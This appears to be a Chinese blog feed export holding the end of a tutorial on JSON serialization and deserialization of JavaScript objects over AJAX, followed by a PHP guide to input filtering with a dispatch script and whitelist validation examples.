<p>　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：</p>
<p>＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞ </p>
<p>　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。</p>
<p>　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：</p>
<p>以下是引用片段：<br />
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ </p>
<p>　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。</p>
<p>＜div id=”loading”＞＜/div＞<br />
＜div id=”body”＞＜/div＞ </p>
<p>　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：</p>
<p>＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞<br />
Auto Object: ’+ Auto.toJSONString();”＞ </p>
<p>　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。</p>
<p>　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。</p>
<p>　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。</p>
<p>　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。</p>
<p>五、 把JSON反串行化为客户端JavaScript对象 </p>
<p>　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：</p>
<p>}} </p>
<p>　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：</p>
<p>＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞ </p>
<p>　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：</p>
<p>＜script type=”text/javascript”＞<br />
function displayResponse()<br />
{<br />
　if(Ajax.checkReadyState(’loading’) == “OK”)<br />
　{<br />
　　var Auto = Ajax.request.responseText.parseJSON();<br />
　　document.getElementById(“body”).innerHTML += ”<br />
＜b＞Remote JSON unserialized＜/b＞”;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Car color: “+Auto.Car.color;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Wheel color: “+Auto.Car.Wheel.color;<br />
　}<br />
}<br />
＜/script＞ </p>
<p>　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象</p>
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		<title>PHP安全之数据过滤</title>
		<link>http://www.5bay.cn/network-programming/phpeezhanchang.html</link>
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		<pubDate>Sun, 25 Jul 2010 16:38:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeezhanchang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到： 确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。 关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。 调度方法 这种方法是用一个单一的 PHP 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如： http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情： 在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。 容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。 看下面的例子以便进一步讨论dispatch.php脚本: 如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。 注意 如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。 你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。 包含方法 另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc 在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 HTML 表单如下所示： Username: Password: 叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。 注意 确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。 过滤的例子 建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。 下面的代码对邮件地址进行了验证：]]></description>
			<content:encoded><![CDATA[<p>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到：</p>
<p>确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。</p>
<p>关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。<br />
<span id="more-462"></span><br />
调度方法</p>
<p>这种方法是用一个单一的 PHP 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如：</p>
<p>http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情：</p>
<p>在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。</p>
<p>容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。</p>
<p>看下面的例子以便进一步讨论dispatch.php脚本:</p>
<p><?php/* 全局安全处理 */switch ($_GET['task']){case 'print_form':include '/inc/presentation/form.inc';break;case 'process_form':$form_valid = false;include '/inc/logic/process.inc';if ($form_valid){include '/inc/presentation/end.inc';}else{include '/inc/presentation/form.inc';}break;default:include '/inc/presentation/index.inc';break;}?></p>
<p>如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。</p>
<p>注意</p>
<p>如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。</p>
<p>你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。</p>
<p>包含方法</p>
<p>另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc</p>
<p><?phpswitch ($_POST['form']){case 'login':$allowed = array();$allowed[] = 'form';$allowed[] = 'username';$allowed[] = 'password';$sent = array_keys($_POST);if ($allowed == $sent){include '/inc/logic/process.inc';}break;}?>在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 <a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">HTML</a> 表单如下所示：</p>
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:<br />
<input type="text" name="username" /></p>
<p>Password:<br />
<input type="password" name="password" /></p>
<input type="submit" /></form>
<p>叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。</p>
<p>注意</p>
<p>确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。</p>
<p>过滤的例子</p>
<p>建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。</p>
<p>下面的代码对邮件地址进行了验证：</p>
<p><?php$clean = array();$email_pattern = '/^[^@\s<&#038;>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i&#8217;;if (preg_match($email_pattern, $_POST['email'])){$clean['email'] = $_POST['email'];}?>下面的代码确保了$_POST['color']的内容是red，green，或者blue：</p>
<p><?php$clean = array();switch ($_POST['color']){case 'red':case 'green':case 'blue':$clean['color'] = $_POST['color'];break;}?>下面的代码确保$_POST['num']是一个整数（integer）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(intval($_POST['num']))){$clean['num'] = $_POST['num'];}?>下面的代码确保$_POST['num']是一个浮点数（float）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(floatval($_POST['num']))){$clean['num'] = $_POST['num'];}?>名字转换<br />
之前每个例子都使用了数组$clean。对于开发人员判断数据是否有潜在的威胁这是一个很好的习惯。 永远不要在对数据验证后还将其保存在$_POST或者$_GET中，作为开发人员对超级全局数组中保存的数据总是应当保持充分的怀疑。</p>
<p>需要补充的是，使用$clean可以帮助思考还有什么没有被过滤，这更类似一个白名单的作用。可以提升安全的等级。</p>
<p>如果仅仅将验证过的数据保存在$clean，在数据验证上仅存的风险是你所引用的数组元素不存在，而不是未过滤的危险数据。</p>
<p>时机</p>
<p>一旦 PHP 脚本开始执行，则意味着 HTTP 请求已经全部结束。此时，用户便没有机会向脚本发送数据。因此，没有数据可以被输入到脚本中（甚至register_globals被开启的情况下）。这就是为什么初始化变量是非常好的习惯。</p>
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